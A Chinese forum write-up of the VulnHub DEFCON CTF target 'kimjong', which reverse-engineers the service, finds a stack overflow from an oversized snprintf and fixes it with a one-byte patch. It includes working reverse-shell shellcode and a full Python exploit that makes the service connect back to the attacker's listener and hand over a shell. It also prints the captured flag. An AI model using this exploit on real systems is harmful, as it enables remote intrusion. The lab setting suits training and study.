Pwn学习笔记:Defcon靶机实战演练
0x01
前言DEFCON (也写做 DEF CON、Defcon or DC) 是全球最大的计算机安全会议之一,自1993年6月起,每年在美国内华达州的拉斯维加斯举办。
DEFCON的与会者主要有计算机安全领域的专家、记者、律师、政府雇员、安全研究员、学生和黑客等对安全领域有兴趣的成员,涉及的领域主要有软件安全、计算机架构、无线电窃听、硬件修改和其他容易受到攻击的信息领域。会议除了有对前沿技术的分享外,还有多种实践项目,如Wargames、最远距离 Wi-Fi 创建比赛、计算机冷却系统比赛等等。
今天给大家介绍的是此前Defcon比赛的一个靶机,之后我还会介绍一些其它我玩过的好靶机。
0x02
环境配置
靶机下载地址:https://www.vulnhub.com/entry/defcon-ctf-010,160/
我使用的是VMware,导入ova文件,NAT方式连接后靶机自动获取IP。
攻击机IP:192.168.2.129
靶机IP:192.168.2.167
在kali输入:
nc defcon.local 9999
如果连接正确,会在终端看到如下内容:
Hans Brix? Oh no! Oh, herro. Great to see you again, Hans!
终端在等待输入,我们输入一些信息,比如电影中的这段话:
Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas.
终端会回答我们的输入:
Hans Brix says: "Mr. Il, I was supposed to be allowed to inspect your palace today and your guards won't let me into certain areas.
通过这种方法检查连接正确,网络配置完成后进入正题。
0x03
逆向从github下载要使用的二进制文件,并进行反汇编,用到的工具是Binary Ninja,你也可以用自己擅长的工具。
打开之前先看一下这个文件:
kimjong: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped
文件要在x86处理器上运行,是ELF,不会提供我们源代码中变量名称和原始函数的任何信息,需要一点x86汇编基础。
0x04
入口点当我们用Binary Ninja打开可执行文件时,反汇编程序会找到并显示程序的入口点:
入口点-start是编译器将代码从main函数开始运行的地方,这个文件只需要在下面找到call -start。
双击此函数sub_8048a24是由Binary Ninja 标记的,因为调试符号没有告诉我们真实变量信息,会显示main函数:
前几行和后几行代码设置了函数的堆栈框架,不需要关注,重点关心下面三个函数调用:
08048a31 680f270000 push 0x270f // "9999" in decimal - our port number!
08048a36 e88d010000 call sub_8048bc8 // call function 1
08048a3b 89c3 mov ebx, eax // move the return value to ebx
08048a3d c70424968f0408 mov dword [esp {var_30}], data_8048f96 {"kimjong"} // move pointer to "kimjong" onto stack
08048a44 e83b030000 call sub_8048d84 // call function 2
08048a49 83c408 add esp, 0x8 // make room for 2 DWORDs on the stack
08048a4c 68b4890408 push 0x80489b4 // push function address onto stack
08048a51 53 push ebx // push function 1 value onto stack
08048a52 e8bd020000 call sub_8048d14 // call function 3
0x05
分析程序
我们所关心的实际上是在0x08048A4C处压入堆栈的函数地址,这是sub_8048d14函数的一个参数,查看该函数发现该函数的子进程fork将调用地址:0x080489B4。在Binary Ninja中,我们可以点击“p”键来告诉它这个地址是一个函数:
上面就是连接处理程序,这是我们真正要关心的,当我们使用netcat连接到服务时,它会在后台运行,该功能用于处理我们的网络连接,只有3个 基本函数块,接下来我们将一块一块地进行分析。
第一块:
080489b4 55 push ebp // function prologue
080489b5 89e5 mov ebp, esp {var_4}
080489b7 56 push esi
080489b8 53 push ebx
080489b9 81ec04020000 sub esp, 0x204 // 0x204 bytes for local variables
080489bf 8b7508 mov esi, dword [ebp+0x8 {arg_4}] // sub_8048b44(arg_4, message, 0);
080489c2 6a00 push 0x0
080489c4 68448f0408 push 0x8048f44 {"Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! "}
080489c9 56 push esi
080489ca e875010000 call sub_8048b44
080489cf 83c410 add esp, 0x10 // clean up the stack
080489d2 baffffffff mov edx, 0xffffffff // go to 0x8048a18 if return was -1
080489d7 83f8ff cmp eax, 0xffffffff
080489da 743c je 0x8048a18
在开头,我们可以看到设置堆栈帧的函数起始点,接下来,我们可以看到程序从堆栈指针(esp)中减去0x204 ,这有效地为堆栈上的0x204字节腾出空间用作局部变量。
然后,看到有一个call sub_8048b44, x86上FreeBSD 的调用约定push是以相反的顺序将所有函数参数传递到堆栈上,这意味着第一个参数中的call在push之前。
我已经对接下来的4条指令sub_8048b44(arg_4,
message, 0);进行了反汇编,最后一个push在0x080489C9编辑堆栈中,esi包含了Binary Ninja
arg_4在0x080489BF 标记的内容,这实际上是我们回调的第一个函数的值, main作为参数传递给了这个函数。
在调用这个函数之后,我们将调整堆栈指针返回到它应该在的位置并有条件地跳转到另一个地址。地址0x08048A18引用第三个函数块,它从函数中很简单地返回(在使用函数epilogue清除我们之前做的堆栈帧之后):
08048a18 89d0 mov eax, edx // return -1 placed in edx at 0x080489CF
08048a1a 8d65f8 lea, esp, [ebp-0x8]
08048a1d 5b pop ebx
08048a1e 5e pop esi
08048a1f c9 leave
08048a20 c3 retn
这意味着,如果sub_8048b44返回-1(表示发生错误),我们将跳过第二个函数块中的所有逻辑(如Binary Ninja中的箭头所示),这是一个if声明在汇编中的样子。
这就是第一个和第三个函数块,第二块更有意思:
080489dc 6a00 push 0x0 // recv(arg_4, var_20c, 0x100, 0);
080489de 6800010000 push 0x100
080489e3 8d9df8fdffff lea ebx, [ebp-0x208] {var_20c}
080489e9 53 push ebx
080489ea 56 push esi
080489eb e850fdffff call recv
080489f0 53 push ebx // snprintf(var_10c, 0x12c, format, var_20c);
080489f1 68808f0408 push 0x8048f80 {"Hans Brix says: "%s"\n"}
080489f6 682c010000 push 0x12c
080489fb 8d9df8feffff lea ebx, [ebp-0x108] {var_10c}
08048a01 53 push ebx
08048a02 e859fdffff call snprintf
08048a07 83c41c add esp, 0x1c // clean up the stack
08048a0a 6a00 push 0x0 // sub_8048b44(arg_4, var_10c, 0);
08048a0c 53 push ebx
08048a0d 56 push esi
08048a0e e831010000 call sub_8048b44
08048a13 ba00000000 mov edx, 0x0 // return a 0 to indicate we executed successfully
在这里,我们将进行3个函数调用。
第一个将从网络接收(recv)到0x100字节var_20c (Binary Ninja的名字ebp-0x208,这是一个位置在堆栈上的0x208字节)。这是程序获得我们输入的地方!
第二个函数调用需要我们的输入并用snprintf它来进行不同的格式化,它会将这个新格式化的字符串保存到0x12C字节var_10c(Binary Ninja的名字为 ebp-0x108,它是堆栈中0x108字节的位置),这就是程序建立输出的地方。
第三个函数调用将使用此输出字符串并sub_8048b44再次使用它通过网络发送出去,在此之后,我们转到第三个基本块(如上所示)并从函数返回。
0x06
漏洞我们已经分析了程序的所有代码,现在我们来寻找漏洞,先看一下这个堆栈:
ebp-0x208 -> var_20c (our input buffer)
ebp-0x108 -> var_10c (our output buffer)
ebp-0x8 -> ??? (saved value of `ebx` from the calling function)
ebp-0x4 -> ??? (saved value of `esi` from the calling function)
ebp -> var_4 (the saved stack address for the calling function's stack frame)
ebp+0x4 -> ??? (saved value of `eip`, the location we will return to when this function is done)
ebp+0x8 -> arg_4 (our socket descriptor)
我们的程序中有两个字符串缓冲区:var_20c和var_10c,这是输入点,它的长度是0x100(256)字节,在0x080489EB,我们recv最多可以将0x100字节存入这个内存位置。
一旦我们有了输入点,我们就可以snprintf将字符串转换成特定的格式,我们采用这个新字符串的0x12C(300)字节并将它们存储到var_10c的输出缓冲区中,这里的问题是我们没有0x12C字节的空间
, 我们只有0x100。任何额外的字节都会覆盖掉堆栈下方的其他值,这并不是函数功能所期望的,这样就出现了一个缓冲区溢出漏洞。
0x07
漏洞分析那么,我们如何利用这个漏洞来控制这个程序呢?在x86上最基本的方法是接管eip指令指针,这是处理器将执行的下一条指令的地址,如果我们能够控制这个值,我们可以影响下一个程序的执行位置。
为此,我们需要eip用输入数据覆盖堆栈中保存的值。为了达到这个目的,我们需要:
来自格式字符串的17个字节
239个字节发送到缓冲区的末端
4个字节来保存clobber ebx
4个字节来保存clobber esi
4个字节来保存clobber ebp
4个字节来保存clobber eip
上面的内容加起来是255个字节,如果我们向服务发送255个“A”字符,它将会试图返回地址0x41414141(“A”的ASCII值),但是我们不希望程序崩溃 -我们的目的是拿到flag!所以,我们需要将程序指向有意义的地方。
这就是漏洞利用最难的地方了,我们要做的是将指针指向我们的输入,当我们这样做时,程序会相信我们的输入实际上是编译代码 ,就像其他可执行文件一样。因此,我们可以提供符合我们需要的新代码——shellcode。
0x08
shellcode当我们通过我们的输入向可执行文件提供新代码时,这些代码就是“shellcode”,Shellcode实际上只是我们自己编写的程序包,而不是编译器的输出结果,这里有一段shellcode可以让我们在远程系统上运行一个shell:
[bits 32]
_start:
xor eax, eax
push eax
push 0x68732f2f ; "//bin/sh"
push 0x6e69622f
mov ebx, esp
push eax
push esp
push ebx
mov al, 0x3b
push eax
int 0x80 ; execve("/bin/sh", &"/bin/sh", NULL);
这个shellcode只是一个execve 系统调用,系统调用是对内核的直接请求,而不是对系统库或函数的调用,也有一个独立的调用约定 ,这就是我们上面所设置的,具体来说,我们调用AUE_EXECVE 上的0x3B(59)系统调用。
上面的代码是专门编写的nasm,但可以做一些小的调整之后与不同的汇编程序一起使用,因为我们需要原始字节而不是完整的可执行文件,所以需要像这样编写:
nasm -f bin binsh.S
对于这个靶机,我们还需要一些更重要的东西,下面这个可以用做参考:
[bits 32]
create_socket:
xor eax, eax
push eax
push byte 0x1
push byte 0x2
mov al, 0x61
push eax
int 0x80 ; socket(domain, SOCK_STREAM, AF_INET);
mov edx, eax
push strict dword 0x0 ; replace with your IP address as raw hex bytes
push strict word 0x0 ; replace with the port you want in little-endian
push word 0x201
mov ecx, esp
push byte 0x10
push ecx
push edx
xor eax, eax
mov al, 0x62
push eax
int 0x80 ; connect(sd, name, namelen);
xor ecx, ecx
_dup2:
push ecx
push edx
xor eax, eax
mov al, 0x5a
push eax
int 0x80 ; dup2(from, to);
inc cl
cmp cl, 0x3
jne _dup2
_execve:
xor eax, eax
push eax
push 0x68732f2f ; "//bin/sh"
push 0x6e69622f
mov ebx, esp
push eax
push esp
push ebx
mov al, 0x3b
push eax
int 0x80 ; execve("/bin/sh", &"/bin/sh", NULL);
使用nasm后会组装成如下所示的内容:
00000000: 31c0 506a 016a 02b0 6150 cd80 89c2 6800 1.Pj.j..aP....h.
00000010: 0000 0066 6800 0066 6801 0289 e16a 1051 ...fh..fh....j.Q
00000020: 5231 c0b0 6250 cd80 31c9 5152 31c0 b05a R1..bP..1.QR1..Z
00000030: 50cd 80fe c180 f903 75f0 31c0 5068 2f2f P.......u.1.Ph//
00000040: 7368 682f 6269 6e89 e350 5453 b03b 50cd shh/bin..PTS.;P.
00000050: 80
0x09
漏洞利用
既然我们已经有了shellcode,并且知道了如何利用这个漏洞,现在就是实现它了,这是一个python漏洞利用脚本:
#!/usr/bin/env python2.7
import socket
import struct
RHOST = "defcon.local"
RPORT = 9999
LHOST = "192.168.2.129"
LPORT = 1337
# connect to the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# get our shellcode and buffer address ready
lhost = "".join(map(chr, map(int, LHOST.split(".")))) # convert LHOST string to raw bytes
lport = struct.pack("<H", LPORT) # convert LPORT number to raw little-endian bytes
sc = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68" + lhost + "\x66\x68" + lport + \
"\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80" + \
"\x31\xc9\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80" + \
"\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" + \
"\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
buf = struct.pack("<I", 0xbfbfeb81) # rough location of our data on the stack (from gdb)
# build our input string
pad = "\x90" * (251 - len(sc)) # pad our shellcode with NOP instructions just in case we're off by a bit
payload = pad + sc + buf
# get the initial message
print(s.recv(4096))
# send our payload
s.send(payload)
# close our connection
s.close()
在另一个终端中监听主机端口:
nc -l 1337
现在在端口1337上有一个开放的socket已经LPORT在上面的脚本中指定了),运行脚本,将连接到服务器,接收初始化消息,发送shellcode和堆栈地址,打开保存的寄存器值,并强制在返回时执行代码sub_80489b4。
当shellcode代码执行时,它会尝试连接回LHOST我们指定端口的IP地址,可以像远程系统一样与远程系统进行交互ssh!
为了获得flag,我们需要输入:
cat key
服务器会返回flag:
b99682b393a66e5b7e9dd781c13e4a413a1db3ba
在真实的比赛中将这个flag提交给得分服务器,就会拿到分数,继续进行研究。
0x10
漏洞修复现在我们已经利用了这个漏洞,我们将如何修复它以防止自己受到攻击?
对于这个服务,直接打补丁很简单:我们将0x12C的值更改为0x100,并防止程序写入敏感的堆栈信息,这样就可以了。
使用Binary Ninja让补丁变得非常容易,你只需要切换到0x080489F6(push 0x12C指令的位置 ,告诉snprintf它需要多少空间),点击“h”在十六进制编辑器视图中查看它,并将2c0x080489F7更改为00:
再次点击“h”会回到图形界面,在那里我们可以看到补丁生效了:
现在,你可以转到“文件 - >另存为...”并将修补后的可执行文件保存到磁盘。如果你将scp这个二进制文件替换到服务器并替换那里这个漏洞就没有了,该服务器也安全了!
0x11
总结总的来说这个靶机并不难,通过这样的实战训练提升自己的实战能力是一个不错的方法。
最快的成长方式就是实战中成长,比如你拿到攻击者的样本,立马可以吸收其手法精髓,防御上就可以有的放矢。再比如为了突破,你死磕到底,一回头会发现:天呐,掌握了各种技巧,而这许多是死磕前绝无法想象到的。
- End -
看雪ID:hackerbirder
https://bbs.pediy.com/user-823237.htm
本文由看雪论坛 hackerbirder 原创
转载请注明来自看雪社区
戳
⚠️ 注意
2019 看雪安全开发者峰会门票正在热售中!
长按识别下方二维码,即可享受 2.5折 优惠!
热门文章阅读
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙点击下方“阅读原文”,查看更多干货